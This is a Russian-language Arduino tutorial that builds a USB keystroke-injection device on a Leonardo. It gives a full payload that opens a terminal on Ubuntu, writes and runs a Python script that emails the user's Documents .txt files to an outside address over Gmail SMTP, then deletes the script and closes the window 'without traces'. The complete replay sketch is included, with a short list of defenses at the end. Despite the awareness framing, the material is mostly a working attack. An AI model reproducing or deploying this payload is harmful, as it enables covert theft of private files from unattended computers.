Защита от USB HID-атак: Демонстрация эксплойта клавиатуры на Arduino Leonardo
Компоненты и материалы
| Arduino Leonardo | 1 шт. |
| Слот для microSD-карты | 1 шт. |
| microSD-карта (несколько ГБ) | 1 шт. |
| Кнопка 3 пина (с резистором) | 1 шт. |
| Перемычки (набор) | 1 шт. |
| Кабель USB-A – Micro-USB | 1 шт. |
О проекте
В этом проекте мы используем Arduino Leonardo для моделирования возможной USB-атаки через HID (Human Interface Device). Цель – не помочь хакерам, а продемонстрировать реальные угрозы и способы защиты. Устройство является доказательством концепции (proof of concept).
Что мы рассмотрим:
- Эмуляция клавиатуры на Arduino Leonardo
- Чтение данных с SD-карты
- Создание Python-скрипта для сканирования файлов и отправки по email
- Методы защиты от вредоносных USB-устройств
Шаг 1: Комплектующие
- Arduino Leonardo
- Micro-USB кардридер
- SD-карта
- Кнопка (VCC, GND, Signal)
- Перемычки male-female и female-female
- Кабель Micro-USB → USB
Шаг 2: Сборка устройства
Принцип работы
Arduino Leonardo может выступать HID-устройством (клавиатура/мышь). Мы используем это для открытия терминала в Ubuntu Linux и ввода скрипта, который копирует .txt-файлы из папки Documents и отправляет их на email.
Инструкции по сборке
- Подключите micro-USB кабель к Arduino.
- Подключите кнопку: GND, VCC, сигнальный вывод → пин D8.
- Подключите кардридер к ICSP-разъёму Leonardo (SS → пин 10). На Leonardo ICSP не соединён с цифровыми пинами, поэтому нужно паять напрямую к разъёму. См. схему ICSP.
- Загрузите скетч (см. ниже или GitHub).
- Отформатируйте SD-карту в FAT16/FAT32.
- Поместите на карту файл
hack.txt(содержимое ниже). - Отредактируйте в файле email-адреса и пароли.
- Вставьте карту в кардридер.
Содержимое файла hack.txt
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'
subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
msg = MIMEMultipart()
msg['From'] = smtp_user
msg['To'] = COMMASPACE.join(to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(text))
for file in files:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(file,"rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(smtp_user, smtp_pass)
server.sendmail(smtp_user, to, msg.as_string())
server.quit()
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
Замените строки с email-адресами на свои.
Шаг 3: Как это работает
При нажатии кнопки Leonardo считывает hack.txt с SD-карты. Файл содержит:
- Обычный текст – вводится как нажатия клавиш.
Sleep::N– пауза N мс.Command::KEY_...– комбинации клавиш (модификаторы + клавиша).
Сценарий для Ubuntu:
- Открыть терминал (Ctrl+Alt+T)
- Создать файл
hack.pyв vi - Записать Python-скрипт сбора .txt файлов и отправки по email
- Запустить в фоне (
nohup python hack.py &) - Удалить скрипт (
rm -rf hack.py) - Закрыть терминал (Alt+F4)
Всё происходит за несколько секунд без следов.
Ограничения
- Нет обратной связи от клавиатуры – нужны задержки.
- Проблемы с правами доступа (USB, установка ПО).
- Небольшая скорость «печати».
- Работает только на целевой ОС (в примере – Ubuntu).
Шаг 4: Меры защиты
- Отключение USB-портов (Windows: инструкция).
- Белый список USB-устройств (Windows: инструкция).
- Блокировка компьютера при уходе.
- Не работайте под root – требуйте пароль для установки ПО.
- Автоматические обновления системы.
Исходный код (скетч)
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println("Card failed, or not present!");
return;
}
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
sdFileToKeyboard();
Serial.println("Uploaded!");
delay(500);
}
previousButtonState = buttonState;
}
void sdFileToKeyboard() {
File dataFile = SD.open(filenameOnCard);
if (!dataFile) {
Serial.println("File not found on SD card!");
return;
}
String line;
while (dataFile.available()) {
line = dataFile.readStringUntil('\n');
sendToKeyboard(line);
}
dataFile.close();
}
void sendToKeyboard(String line) {
if (line.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); return; }
if (line.indexOf(commandStartingPoint) == -1) {
Keyboard.println(line);
pressEnter();
return;
}
// Парсинг Command::
int pos = commandStartingPoint.length();
line += ",";
while (line != "") {
line = line.substring(pos);
int comma = line.indexOf(",");
String cmd = line.substring(0, comma);
pos = comma + 1;
if (cmd != "") {
Keyboard.press(getCommandCode(cmd));
delay(delayBetweenCommands);
}
}
Keyboard.releaseAll();
delay(delayBetweenCommands);
}
void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }
void sleepFor(String line) {
int ms = line.substring(sleepCommandStartingPoint.length()).toInt();
delay(ms);
}
char getCommandCode(String text) {
if (text == "KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
if (text == "KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
if (text == "KEY_LEFT_ALT") return KEY_LEFT_ALT;
if (text == "KEY_UP_ARROW") return KEY_UP_ARROW;
if (text == "KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
if (text == "KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
if (text == "KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
if (text == "KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
if (text == "KEY_BACKSPACE") return KEY_BACKSPACE;
if (text == "KEY_TAB") return KEY_TAB;
if (text == "KEY_RETURN") return KEY_RETURN;
if (text == "KEY_ESC") return KEY_ESC;
if (text == "KEY_INSERT") return KEY_INSERT;
if (text == "KEY_DELETE") return KEY_DELETE;
if (text == "KEY_PAGE_UP") return KEY_PAGE_UP;
if (text == "KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
if (text == "KEY_HOME") return KEY_HOME;
if (text == "KEY_END") return KEY_END;
if (text == "KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
if (text == "KEY_F1") return KEY_F1;
if (text == "KEY_F2") return KEY_F2;
if (text == "KEY_F3") return KEY_F3;
if (text == "KEY_F4") return KEY_F4;
if (text == "KEY_F5") return KEY_F5;
if (text == "KEY_F6") return KEY_F6;
if (text == "KEY_F7") return KEY_F7;
if (text == "KEY_F8") return KEY_F8;
if (text == "KEY_F9") return KEY_F9;
if (text == "KEY_F10") return KEY_F10;
if (text == "KEY_F11") return KEY_F11;
if (text == "KEY_F12") return KEY_F12;
return text.charAt(0);
}
Схема (Fritzing)
Схема подключения кнопки, SD-кардридера к ICSP и питания. Файл схемы: sketch_D4S1ftXkTU.fzz.
Производственный процесс
- Создание анимации и игр на LCD 16×2 с Arduino UNO
- Умный вольтметр на Arduino и смартфоне — простое DIY-проект
- Логгер температуры и влажности на Arduino с DHT11 и Ethernet Shield
- Превратите MIDI-клавиатуру в интерактивного репетитора по фортепиано с Arduino, LED-лентой и MuseScore
- Управление Arduino Uno из Python 3: команды через последовательный порт и демонстрация с LED
- Клеточный автомат «Жизнь» Конвея на Arduino Nano с OLED 128x64
- Сборка компактного FM-радио на Arduino Nano и RDA5807M
- Система учёта рабочего времени на RFID, Arduino и Google Таблицах
- Arduino 64-клавишная прототипная клавиатура: матрица на сдвиговых регистрах
- Калькулятор на Arduino с 16x2 LCD и клавиатурой 4x4